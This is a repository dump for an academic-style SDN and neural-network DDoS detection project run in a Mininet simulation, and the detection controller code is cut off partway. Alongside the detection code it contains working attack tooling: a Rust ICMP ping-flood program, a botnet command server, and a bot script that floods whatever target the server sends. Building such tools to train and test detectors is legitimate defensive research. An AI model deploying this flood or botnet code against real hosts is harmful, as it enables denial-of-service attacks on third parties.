├── Attacks-Rust ├── .gitignore ├── .DS_Store ├── README.md ├── Cargo.toml └── src │ ├── main.rs │ └── icmp_flood │ └── mod.rs ├── .DS_Store ├── requirements.txt ├── __pycache__ └── network_controller.cpython-311.pyc ├── setup.sh ├── WebServer.py ├── mininet.yaml ├── .gitignore ├── docker-entrypoint.sh ├── docker-compose.yml ├── bot ├── LICENSE ├── Dockerfile ├── botnet_controller ├── README.md ├── create_network.py ├── create_network └── network_controller.py /Attacks-Rust/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | tags 3 | Session.vim 4 | -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/.DS_Store -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pox 2 | mininet 3 | tensorflow>=2.9.0 4 | numpy 5 | scikit-learn 6 | -------------------------------------------------------------------------------- /Attacks-Rust/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/Attacks-Rust/.DS_Store -------------------------------------------------------------------------------- /__pycache__/network_controller.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/visheshc14/Electric-Funeral/HEAD/__pycache__/network_controller.cpython-311.pyc -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | pip3 install -r requirements.txt && 4 | git submodule update --init --recursive && 5 | cd Attacks-Rust && 6 | cargo build --release 7 | -------------------------------------------------------------------------------- /WebServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from datetime import datetime 5 | 6 | from flask import Flask 7 | app = Flask(__name__) 8 | 9 | @app.route("/") 10 | def index(): 11 | return f"

Hello There Made By Vishesh

Last retrieved from server: {datetime.now().strftime('%F %T')}

" 12 | -------------------------------------------------------------------------------- /mininet.yaml: -------------------------------------------------------------------------------- 1 | images: 2 | - location: "https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img" 3 | arch: "x86_64" 4 | digest: "sha256:b4aae927745362f5e322ba34a5933df7e86aaa0e2b3c5e9d6e4e7f897f0de75b" 5 | memory: "4GiB" 6 | disk: "100GiB" 7 | mounts: 8 | - location: "~" 9 | writable: true 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | venv/ 12 | venv_py39/ 13 | -------------------------------------------------------------------------------- /Attacks-Rust/README.md: -------------------------------------------------------------------------------- 1 | # DoS Attacks 2 | Rust implementations of Denial of Service attacks, currently only the ICMP flood 3 | attack is implemented. 4 | 5 | ## Requirements 6 | - Rust 7 | - Cargo 8 | 9 | ## Build 10 | ```sh 11 | cargo build 12 | ``` 13 | 14 | ## Run 15 | You will probably need to run the resulting binary with sudo: 16 | ```sh 17 | sudo ./target/debug/dos-attacks ping-flood 127.0.0.1 18 | ``` 19 | -------------------------------------------------------------------------------- /Attacks-Rust/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "Attacks-Rust" 3 | version = "0.1.0" 4 | authors = ["Vishesh Choudhary "] 5 | edition = "2021" 6 | description = "Rust Implementations Of DoS Attacks." 7 | repository = "https://github.com/visheshc14/Electric-Funeral" 8 | readme = "README.md" 9 | 10 | [dependencies] 11 | rand = "0.8" 12 | pnet = "0.34.0" 13 | ctrlc = "3.4.1" 14 | serde = { version = "1.0", features = ["derive"] } 15 | serde_json = "1.0" -------------------------------------------------------------------------------- /Attacks-Rust/src/main.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | extern crate pnet; 4 | 5 | use std::env; 6 | 7 | mod icmp_flood; 8 | 9 | fn main() { 10 | 11 | println!("Electric Funeral Rust - Vishesh Choudhary"); 12 | println!(); 13 | let args: Vec = env::args().collect(); 14 | if args.len() < 3 { 15 | panic!("Not enough arguments"); 16 | } 17 | let attack_name = &args[1]; 18 | let addr = &args[2]; 19 | run_attack(attack_name)(addr); 20 | } 21 | 22 | fn run_attack(attack: &String) -> Box { 23 | match attack.as_str() { 24 | "ping-flood" => Box::new(icmp_flood::run), 25 | _ => return Box::new(move |a| panic!("No attack named {}", a)), 26 | } 27 | } -------------------------------------------------------------------------------- /docker-entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -e 3 | 4 | # Initialize OpenVSwitch if needed 5 | if [ ! -f /etc/openvswitch/conf.db ]; then 6 | ovsdb-tool create /etc/openvswitch/conf.db 7 | fi 8 | 9 | # Start Open vSwitch 10 | service openvswitch-switch start 11 | 12 | # Wait for OpenVSwitch to be ready 13 | while ! ovs-vsctl show > /dev/null 2>&1; do 14 | echo "Waiting for OpenVSwitch to be ready..." 15 | sleep 1 16 | done 17 | 18 | # Create a bridge for Mininet if it doesn't exist 19 | if ! ovs-vsctl br-exists s1; then 20 | ovs-vsctl add-br s1 21 | fi 22 | 23 | # Start the POX controller if needed 24 | if [[ "$*" == *"create_network.py"* ]]; then 25 | cd /app && python3 network_controller.py --gen-data & 26 | sleep 2 27 | fi 28 | 29 | exec "$@" -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | controller: 4 | build: . 5 | privileged: true 6 | network_mode: "host" 7 | volumes: 8 | - /lib/modules:/lib/modules 9 | - /var/run/docker.sock:/var/run/docker.sock 10 | command: python3 network_controller.py --detect 11 | environment: 12 | - PYTHONPATH=/app:/usr/local/lib/python3/dist-packages 13 | 14 | network: 15 | build: . 16 | privileged: true 17 | network_mode: "host" 18 | volumes: 19 | - /lib/modules:/lib/modules 20 | - /var/run/docker.sock:/var/run/docker.sock 21 | depends_on: 22 | - controller 23 | command: python3 create_network.py --attack --cli 24 | environment: 25 | - PYTHONPATH=/app:/usr/local/lib/python3/dist-packages -------------------------------------------------------------------------------- /bot: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | A bot that that attaches to a socket from the controller and starts a ping flood 6 | against the chosen target. 7 | ''' 8 | 9 | import argparse 10 | import os 11 | import socket 12 | 13 | if __name__ == '__main__': 14 | PARSER = argparse.ArgumentParser( 15 | description="A bot ping floods the target specified by the controller" 16 | ) 17 | PARSER.add_argument("-c", "--commander", dest="commander", action="store", 18 | help="The IP address of the commander") 19 | ARGS = PARSER.parse_args() 20 | 21 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 22 | print(f"Connecting to commander {ARGS.commander}") 23 | s.connect((ARGS.commander, 8888)) 24 | print("Connected, waiting for order") 25 | TARGET = s.recv(1024).decode() 26 | print(f"Order received, attacking {TARGET}") 27 | for _ in range(10): 28 | os.system(f"./dos-attacks/target/release/dos-attacks ping-flood {TARGET} &") 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Vishesh Choudhary 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | ENV DEBIAN_FRONTEND=noninteractive 3 | RUN apt-get update && apt-get install -y \ 4 | mininet \ 5 | net-tools \ 6 | iputils-ping \ 7 | python3 \ 8 | python3-pip \ 9 | python3-dev \ 10 | git \ 11 | openvswitch-switch \ 12 | iproute2 \ 13 | curl \ 14 | build-essential \ 15 | && rm -rf /var/lib/apt/lists/* 16 | 17 | RUN ln -s /usr/bin/python3 /usr/bin/python 18 | WORKDIR /app 19 | 20 | # Install POX properly 21 | RUN mkdir -p /usr/local/lib/python3/dist-packages && \ 22 | git clone https://github.com/noxrepo/pox.git /tmp/pox && \ 23 | cp -r /tmp/pox/pox /usr/local/lib/python3/dist-packages/ && \ 24 | rm -rf /tmp/pox 25 | 26 | COPY requirements.txt /app/ 27 | RUN pip3 install -r requirements.txt 28 | 29 | COPY . /app/ 30 | RUN git submodule update --init --recursive 31 | 32 | ENV PYTHONPATH=/app:/usr/local/lib/python3/dist-packages 33 | 34 | RUN chmod +x network_controller.py create_network 35 | COPY docker-entrypoint.sh /usr/local/bin/ 36 | RUN chmod +x /usr/local/bin/docker-entrypoint.sh 37 | 38 | # Initialize OpenVSwitch 39 | RUN mkdir -p /etc/openvswitch && \ 40 | ovsdb-tool create /etc/openvswitch/conf.db 41 | 42 | ENTRYPOINT ["docker-entrypoint.sh"] 43 | CMD ["/bin/bash"] 44 | -------------------------------------------------------------------------------- /botnet_controller: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | A controller of a botnet 6 | ''' 7 | 8 | import argparse 9 | import socket 10 | 11 | if __name__ == '__main__': 12 | PARSER = argparse.ArgumentParser( 13 | description="A botnet commander that issues a target for the bots to DDoS" 14 | ) 15 | PARSER.add_argument("-n", "--num-bots", dest="num_bots", action="store", 16 | default=1, type=int, 17 | help="Number of bots to command") 18 | PARSER.add_argument("-t", "--target", dest="target", action="store", 19 | default=None, type=str, 20 | help="Target to attack") 21 | ARGS = PARSER.parse_args() 22 | TARGET = bytes( 23 | ARGS.target if ARGS.target else input("What server do you want to attack? "), 24 | "UTF-8" 25 | ) 26 | NUM_BOTS = ARGS.num_bots 27 | print(f"Attacking {TARGET.decode()} with {ARGS.num_bots} bot{'s' if ARGS.num_bots > 1 else ''}") 28 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 29 | s.bind(("", 8888)) 30 | s.listen(1) 31 | for _ in range(ARGS.num_bots): 32 | conn, addr = s.accept() 33 | print(f"Ordering {addr[0]}:{addr[1]} to attack") 34 | with conn: 35 | conn.sendall(TARGET) 36 | print("Done.") 37 | -------------------------------------------------------------------------------- /Attacks-Rust/src/icmp_flood/mod.rs: -------------------------------------------------------------------------------- 1 | extern crate rand; 2 | extern crate pnet; 3 | extern crate ctrlc; 4 | 5 | use std::net::IpAddr; 6 | use std::sync::atomic::{AtomicBool, Ordering}; 7 | use std::sync::Arc; 8 | 9 | use rand::Rng; 10 | 11 | use pnet::packet::util; 12 | use pnet::packet::ip::IpNextHeaderProtocols; 13 | use pnet::packet::icmp::{echo_request, IcmpTypes}; 14 | use pnet::transport::TransportChannelType::Layer4; 15 | use pnet::transport::TransportProtocol::Ipv4; 16 | use pnet::transport::transport_channel; 17 | use pnet::packet::Packet; 18 | 19 | pub fn run(address: &String) { 20 | let protocol = Layer4(Ipv4(IpNextHeaderProtocols::Icmp)); 21 | let (mut tx, _) = match transport_channel(4096, protocol) { 22 | Ok((tx, rx)) => (tx, rx), 23 | Err(e) => panic!("Error creating the transport channel: {}", e), 24 | }; 25 | let addr = match address.as_str().parse::() { 26 | Ok(s) => s, 27 | Err(e) => panic!("Failed to parse address: {}", e), 28 | }; 29 | 30 | let running = Arc::new(AtomicBool::new(true)); 31 | let r = running.clone(); 32 | ctrlc::set_handler(move || { 33 | r.store(false, Ordering::SeqCst); 34 | }).expect("Error setting CTRL+C handler"); 35 | 36 | let mut rng = rand::thread_rng(); 37 | 38 | while running.load(Ordering::SeqCst) { 39 | let mut vec: Vec = vec![0; 64]; 40 | let mut packet = echo_request::MutableEchoRequestPacket::new(&mut vec[..]).unwrap(); 41 | packet.set_icmp_type(IcmpTypes::EchoRequest); 42 | packet.set_sequence_number(rng.gen::()); 43 | packet.set_identifier(rng.gen::()); 44 | let csum = util::checksum(packet.packet(), 1); 45 | packet.set_checksum(csum); 46 | match tx.send_to(packet, addr) { 47 | Ok(_) => print!("."), 48 | Err(_) => print!("_"), 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Electric-Funeral 2 | 3 | A Combination of Software Defined Network (SDN) And A Multi-Layer Perceptron (MLP) Neural Network That Results In The 4 | Mitigation of DDoS Attacks. 5 | 6 | ## References 7 | [A dynamic MLP-based DDoS attack detection method using feature selection and feedback](https://www.sciencedirect.com/science/article/pii/S0167404819301890) 8 | 9 | [Deep Learning-based Slow DDoS Attack Detection in SDN-based Networks](https://ieeexplore.ieee.org/document/9289894) 10 | 11 | [SDN-Based Intrusion Detection System for Early Detection and Mitigation of DDoS Attacks](https://arxiv.org/ftp/arxiv/papers/2104/2104.07332.pdf) 12 | 13 | [A Flexible SDN-Based Architecture for Identifying and Mitigating Low-Rate DDoS Attacks Using Machine Learning](https://ieeexplore.ieee.org/abstract/document/9177002) 14 | 15 | ## Architecture 16 | 17 | ![Electric-Funeral Rust - Vishesh Choudhary (1)](https://user-images.githubusercontent.com/36515357/131664283-1ebf89bf-3fc0-4b4d-9d14-e1a909edd1f3.png) 18 | 19 | ![IMG_4211 Edited (1)](https://user-images.githubusercontent.com/36515357/131669989-38a23255-b0c5-44c2-9fe5-dfa22c4e5eb8.png) 20 | 21 | ![IMG_4214 Edited (1)](https://user-images.githubusercontent.com/36515357/131672958-fc16003d-3aa1-405a-8990-f3b064e17902.png) 22 | 23 | ## Requirements 24 | - python3 25 | - pip 26 | - rust 27 | - cargo 28 | 29 | ## Installation 30 | ``` 31 | setup.sh 32 | ``` 33 | 34 | ## Generating data 35 | First start the controller in generate data mode: 36 | ``` 37 | ./network_controller.py --gen-data 38 | ``` 39 | 40 | Then start the network in normal interactions training mode (this uses mininet 41 | so it will probably require root privileges to run): 42 | ``` 43 | ./create_network --normal 44 | ``` 45 | 46 | Once done, train for the attack state. Start the controller in generate attack 47 | data mode: 48 | ``` 49 | ./network_controller.py --attack --gen-data 50 | ``` 51 | 52 | Then start the network in attack interactions training mode: 53 | ``` 54 | ./create_network --all-attack 55 | ``` 56 | 57 | ## Training the MLP 58 | Simply run the following: 59 | ``` 60 | ./network_controller.py --train 61 | ``` 62 | 63 | ## Run DDoS Mitigation 64 | Start the controller in detection mode: 65 | ``` 66 | ./network_controller.py --detect 67 | ``` 68 | 69 | Then start the network in attack and CLI mode: 70 | ``` 71 | ./create_network --attack --cli 72 | ``` 73 | 74 | The user should be able to ping the attack target with the following command: 75 | ``` 76 | u0 ping t0 77 | ``` 78 | ## Deployment 79 | 80 | Screenshot 2025-04-09 at 1 45 59 PM 81 | Screenshot 2025-04-09 at 3 23 29 PM 82 | Screenshot 2025-04-09 at 3 07 36 PM 83 | Screenshot 2025-04-09 at 3 07 56 PM 84 | Screenshot 2025-04-09 at 1 54 33 PM 85 | Screenshot 2025-04-09 at 1 57 21 PM 86 | 87 | -------------------------------------------------------------------------------- /create_network.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | Created A Mininet Based Network For The Botnet 6 | ''' 7 | 8 | import sys 9 | import time 10 | 11 | import numpy as np 12 | 13 | from mininet.topo import Topo 14 | from mininet.net import Mininet 15 | from mininet.node import OVSSwitch, RemoteController 16 | from mininet.log import setLogLevel, info 17 | from mininet.cli import CLI 18 | from mininet.link import TCLink 19 | 20 | 21 | class ForkTopo(Topo): 22 | "A fork shaped network" 23 | def build(self, **opts): 24 | "Build the topology" 25 | botnet_switch = self.addSwitch("s2") 26 | add_hosts(self, botnet_switch, opts['num_bots'] + 1, "b") 27 | user_switch = self.addSwitch("s3") 28 | add_hosts(self, user_switch, 1, "u") 29 | sdn_switch = self.addSwitch(f"s1") 30 | self.addLink(sdn_switch, botnet_switch) 31 | self.addLink(sdn_switch, user_switch) 32 | add_hosts( 33 | self, 34 | sdn_switch, 35 | 1, 36 | "t", 37 | { 38 | "bw": 0.1, 39 | "delay": "5ms", 40 | "loss": 0, 41 | "max_queue_size": 1000, 42 | "use_htb": True 43 | } 44 | ) 45 | 46 | 47 | def add_hosts(topo, switch, num_nodes, id_tag, opts=None): 48 | ''' 49 | A hosts to the topology all connected in a star to the switch 50 | :param topo The network topology object 51 | :param switch Switch to attach the hosts to 52 | :param id_tag characters to identify the hosts 53 | :param opts extra arguments to pass to the link between the switch and hosts 54 | ''' 55 | for i in range(num_nodes): 56 | if opts: 57 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch, **opts) 58 | else: 59 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch) 60 | 61 | 62 | def run_network(num_bots): 63 | ''' 64 | Run the DDoS attack on the target of the network, also have the user 65 | request a web service from the target 66 | :param num_bots Amount of bots in the botnet for the DDoS 67 | ''' 68 | topo = ForkTopo(num_bots=num_bots) 69 | net = Mininet( 70 | topo=topo, 71 | link=TCLink, 72 | switch=OVSSwitch, 73 | controller=RemoteController 74 | ) 75 | net.start() 76 | finish_time = time.time() + 3_600 77 | if "--train" in sys.argv: 78 | for host in net.hosts: 79 | host.cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &") 80 | time.sleep(3) 81 | print(f"Training will finish at {time.ctime(finish_time)}") 82 | if "--attack" in sys.argv: 83 | info("*** Starting botnet controller\n") 84 | net['b0'].cmdPrint(f"./botnet_controller -n {num_bots} -t {net['t0'].IP()} &") 85 | time.sleep(1) 86 | info("*** Starting botnet attack on the target\n") 87 | for i in range(1, num_bots + 1): 88 | net[f"b{i}"].cmd(f"./bot -c {net['b0'].IP()} &") 89 | if "--train" in sys.argv: 90 | info("*** Waiting for training to finish") 91 | time.sleep(finish_time - time.time()) 92 | elif "--normal" in sys.argv: 93 | info("*** Normal activity\n") 94 | tcp = 0 95 | icmp = 0 96 | while time.time() < finish_time: 97 | host = net.hosts[ 98 | int(np.round(np.random.uniform(len(net.hosts)))) - 1 99 | ] 100 | random_host_ip = net.hosts[ 101 | int(np.round(np.random.uniform(len(net.hosts)))) - 1 102 | ].IP() 103 | if np.random.choice(range(1, 100)) < 95: 104 | tcp += 1 105 | host.cmd(f"curl {random_host_ip}:5000") 106 | else: 107 | icmp += 1 108 | host.cmd(f"ping -c1 {random_host_ip}") 109 | print(f"\rTCP: {tcp}, ICMP: {icmp}", end="") 110 | time.sleep(np.random.uniform(0.25, 5)) 111 | else: 112 | info("*** Starting web server on target\n") 113 | net['t0'].cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &") 114 | time.sleep(1) 115 | info("*** User browsing web service\n") 116 | net['u0'].cmdPrint(f"netsurf http://{net['t0'].IP()}:5000/ &") 117 | if "--cli" in sys.argv: 118 | CLI(net) 119 | net.stop() 120 | 121 | if __name__ == '__main__': 122 | setLogLevel('info') 123 | run_network(50) -------------------------------------------------------------------------------- /create_network: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | Created A Mininet Based Network For The Botnet 6 | ''' 7 | 8 | import sys 9 | import time 10 | 11 | import numpy as np 12 | 13 | from mininet.topo import Topo 14 | from mininet.net import Mininet 15 | from mininet.node import OVSSwitch, RemoteController 16 | from mininet.log import setLogLevel, info 17 | from mininet.cli import CLI 18 | from mininet.link import TCLink 19 | 20 | 21 | class ForkTopo(Topo): 22 | "A fork shaped network" 23 | def build(self, **opts): 24 | "Build the topology" 25 | botnet_switch = self.addSwitch("s2") 26 | add_hosts(self, botnet_switch, opts['num_bots'] + 1, "b") 27 | user_switch = self.addSwitch("s3") 28 | add_hosts(self, user_switch, 1, "u") 29 | sdn_switch = self.addSwitch(f"s1") 30 | self.addLink(sdn_switch, botnet_switch) 31 | self.addLink(sdn_switch, user_switch) 32 | add_hosts( 33 | self, 34 | sdn_switch, 35 | 1, 36 | "t", 37 | { 38 | "bw": 0.1, 39 | "delay": "5ms", 40 | "loss": 0, 41 | "max_queue_size": 1000, 42 | "use_htb": True 43 | } 44 | ) 45 | 46 | 47 | def add_hosts(topo, switch, num_nodes, id_tag, opts=None): 48 | ''' 49 | A hosts to the topology all connected in a star to the switch 50 | :param topo The network topology object 51 | :param switch Switch to attach the hosts to 52 | :param id_tag characters to identify the hosts 53 | :param opts extra arguments to pass to the link between the switch and hosts 54 | ''' 55 | for i in range(num_nodes): 56 | if opts: 57 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch, **opts) 58 | else: 59 | topo.addLink(topo.addHost(f"{id_tag}{i}"), switch) 60 | 61 | 62 | def run_network(num_bots): 63 | ''' 64 | Run the DDoS attack on the target of the network, also have the user 65 | request a web service from the target 66 | :param num_bots Amount of bots in the botnet for the DDoS 67 | ''' 68 | topo = ForkTopo(num_bots=num_bots) 69 | net = Mininet( 70 | topo=topo, 71 | link=TCLink, 72 | switch=OVSSwitch, 73 | controller=RemoteController 74 | ) 75 | net.start() 76 | finish_time = time.time() + 3_600 77 | if "--train" in sys.argv: 78 | for host in net.hosts: 79 | host.cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &") 80 | time.sleep(3) 81 | print(f"Training will finish at {time.ctime(finish_time)}") 82 | if "--attack" in sys.argv: 83 | info("*** Starting botnet controller\n") 84 | net['b0'].cmdPrint(f"./botnet_controller -n {num_bots} -t {net['t0'].IP()} &") 85 | time.sleep(1) 86 | info("*** Starting botnet attack on the target\n") 87 | for i in range(1, num_bots + 1): 88 | net[f"b{i}"].cmd(f"./bot -c {net['b0'].IP()} &") 89 | if "--train" in sys.argv: 90 | info("*** Waiting for training to finish") 91 | time.sleep(finish_time - time.time()) 92 | elif "--normal" in sys.argv: 93 | info("*** Normal activity\n") 94 | tcp = 0 95 | icmp = 0 96 | while time.time() < finish_time: 97 | host = net.hosts[ 98 | int(np.round(np.random.uniform(len(net.hosts)))) - 1 99 | ] 100 | random_host_ip = net.hosts[ 101 | int(np.round(np.random.uniform(len(net.hosts)))) - 1 102 | ].IP() 103 | if np.random.choice(range(1, 100)) < 95: 104 | tcp += 1 105 | host.cmd(f"curl {random_host_ip}:5000") 106 | else: 107 | icmp += 1 108 | host.cmd(f"ping -c1 {random_host_ip}") 109 | print(f"\rTCP: {tcp}, ICMP: {icmp}", end="") 110 | time.sleep(np.random.uniform(0.25, 5)) 111 | else: 112 | info("*** Starting web server on target\n") 113 | net['t0'].cmdPrint("export FLASK_APP=WebServer.py && flask run --host=0.0.0.0 &") 114 | time.sleep(1) 115 | info("*** User browsing web service\n") 116 | net['u0'].cmdPrint(f"netsurf http://{net['t0'].IP()}:5000/ &") 117 | if "--cli" in sys.argv: 118 | CLI(net) 119 | net.stop() 120 | 121 | if __name__ == '__main__': 122 | setLogLevel('info') 123 | run_network(50) 124 | -------------------------------------------------------------------------------- /network_controller.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | ''' 5 | The controller of the network. This also detects DDoS attacks. 6 | Vishesh Choudhary 7 | ''' 8 | 9 | import sys 10 | import time 11 | 12 | import numpy as np 13 | 14 | import tensorflow as tf 15 | from tensorflow import keras 16 | 17 | import pox.lib.packet as pac 18 | from pox.boot import boot 19 | from pox.core import core 20 | from pox.lib.recoco import Timer 21 | 22 | import pox.openflow.libopenflow_01 as of 23 | 24 | 25 | if __name__ != "__main__": 26 | LOG = core.getLogger() 27 | 28 | IPV4_PROTOCOLS = { 29 | pac.ipv4.ICMP_PROTOCOL: "ICMP", 30 | pac.ipv4.IGMP_PROTOCOL: "IGMP", 31 | pac.ipv4.TCP_PROTOCOL: "TCP", 32 | pac.ipv4.UDP_PROTOCOL: "UDP", 33 | } 34 | 35 | IPV6_PROTOCOLS = { 36 | pac.ipv6.ICMP6_PROTOCOL: "ICMP", 37 | pac.ipv6.IGMP_PROTOCOL: "IGMP", 38 | pac.ipv6.TCP_PROTOCOL: "TCP", 39 | pac.ipv6.UDP_PROTOCOL: "UDP", 40 | } 41 | 42 | class Flow: 43 | ''' 44 | A class for flows through the network 45 | ''' 46 | def __init__(self, src, dst, comm_prot, packets, amount_bytes): 47 | self.src = str(src) 48 | self.dst = str(dst) 49 | self.comm_prot = comm_prot 50 | self.packets = packets 51 | self.bytes = amount_bytes 52 | self.time_created = time.time() 53 | self.time_last_used = time.time() 54 | 55 | def __str__(self): 56 | return "{} -> {}: {}".format(self.src, self.dst, self.comm_prot) 57 | 58 | def is_pair(self, other): 59 | ''' 60 | Find whether this is a pair flow with the other one 61 | :param other Another flow 62 | ''' 63 | p = self.src == other.dst 64 | q = self.dst == other.src 65 | v = self.comm_prot == other.comm_prot 66 | return p and q and v 67 | 68 | def __eq__(self, other): 69 | if isinstance(other, Flow): 70 | p = self.src == other.src 71 | q = self.dst == other.dst 72 | v = self.comm_prot == other.comm_prot 73 | return p and q and v 74 | return False 75 | 76 | def update(self, packets, amount_bytes): 77 | ''' 78 | Update the amount of packets and bytes involved in this flow 79 | :param packets Number of packets to add to this flow 80 | :param amount_bytes Number of bytes to add to this flow 81 | ''' 82 | self.time_last_used = time.time() 83 | self.packets += packets 84 | self.bytes += amount_bytes 85 | 86 | class Controller(object): 87 | '''A controller that can detect attacks or generate data on flows''' 88 | def __init__(self, connection, gen_data, label, detect, interval=0.5, clean_interval=30): 89 | self.connection = connection 90 | connection.addListeners(self) 91 | self.label = label 92 | self.mac_to_port = {} 93 | self.flows = dict() 94 | self.growing_flows = dict() 95 | self.ports = set() 96 | self.growing_ports = set() 97 | self.time_started = time.time() 98 | self.interval = interval 99 | if gen_data: 100 | self.data_timer = Timer(interval, self.write_data, recurring=True) 101 | self.growth_timer = Timer(interval, self.reset_growth, recurring=True) 102 | self.clean_interval = clean_interval 103 | self.clean_timer = Timer(clean_interval, self.clean_flows, recurring=True) 104 | self.detect = detect 105 | if detect: 106 | self.model = keras.models.load_model('model.h5') 107 | self.interval = time.time() 108 | 109 | def resend_packet(self, packet_in, out_port): 110 | ''' 111 | Pass the packet from this switch on to the next port 112 | :param packet_in The packet to pass 113 | :param out_port The port to pass to 114 | ''' 115 | msg = of.ofp_packet_out() 116 | msg.data = packet_in 117 | action = of.ofp_action_output(port=out_port) 118 | msg.actions.append(action) 119 | self.connection.send(msg) 120 | 121 | def act_like_switch(self, packet, packet_in): 122 | ''' 123 | Act like a switch by learning the mappings between the MACs and ports 124 | :param packet The packet processed at this point 125 | :param packet_in The packet to pass 126 | ''' 127 | if self.detect: 128 | self.interval = time.time() - self.interval 129 | six_tuple = [self.calc_tuple()] 130 | LOG.debug("Six-tuple: %s", six_tuple[0]) 131 | prediction = np.round(self.model.predict(six_tuple)[0][0]) 132 | self.interval = time.time() 133 | LOG.debug("Prediction: %s", prediction) 134 | if prediction == 1.0: 135 | LOG.debug("Attack detected!") 136 | return 137 | pl = packet.payload 138 | if isinstance(pl, pac.arp): 139 | src = pl.protosrc 140 | dst = pl.protodst 141 | comm_prot = "ARP" 142 | else: 143 | src = pl.srcip 144 | dst = pl.dstip 145 | if isinstance(pl, pac.ipv4): 146 | comm_prot = IPV4_PROTOCOLS[pl.protocol] 147 | else: 148 | comm_prot = "IPV6" 149 | flow = Flow(src, dst, comm_prot, 1, len(pl)) 150 | flow_name = str(flow) 151 | if self.flows.get(flow_name): 152 | self.flows[flow_name].update(1, len(pl)) 153 | else: 154 | self.flows[flow_name] = flow 155 | self.growing_flows[flow_name] = flow 156 | if len(packet_in.data) == packet_in.total_len: 157 | self.mac_to_port[packet.src] = packet_in.in_port 158 | self.ports = self.ports.union([packet_in.in_port]) 159 | self.growing_ports = self.growing_ports.union([packet_in.in_port]) 160 | if self.mac_to_port.get(packet.dst): 161 | self.resend_packet(packet_in, self.mac_to_port[packet.dst]) 162 | else: 163 | self.resend_packet(packet_in, of.OFPP_ALL) 164 | 165 | def calc_tuple(self): 166 | ''' 167 | Calculate the six-tupe for DDoS detection 168 | ''' 169 | amount_packets = [] 170 | amount_bytes = [] 171 | durations = [] 172 | current_time = time.time() 173 | num_pair_flows = float(0) 174 | all_flows = list(self.flows.values()) 175 | num_flows = float(len(all_flows)) 176 | for i, flow in enumerate(all_flows): 177 | amount_packets.append(flow.packets) 178 | amount_bytes.append(flow.bytes) 179 | durations.append(current_time - flow.time_created) 180 | for other_flow in all_flows[i + 1:]: 181 | if flow.is_pair(other_flow): 182 | num_pair_flows += 1 183 | all_growing_flows = list(self.growing_flows.values()) 184 | num_growing_flows = len(all_growing_flows) 185 | num_growing_pair_flows = 0 186 | for i, flow in enumerate(all_growing_flows): 187 | for other_flow in all_growing_flows[i + 1:]: 188 | if flow.is_pair(other_flow): 189 | num_growing_pair_flows += 1 190 | return [ 191 | np.median(amount_packets) if amount_packets else 0.0, 192 | np.median(amount_bytes) if amount_bytes else 0.0, 193 | np.median(durations) if amount_bytes else 0.0, 194 | 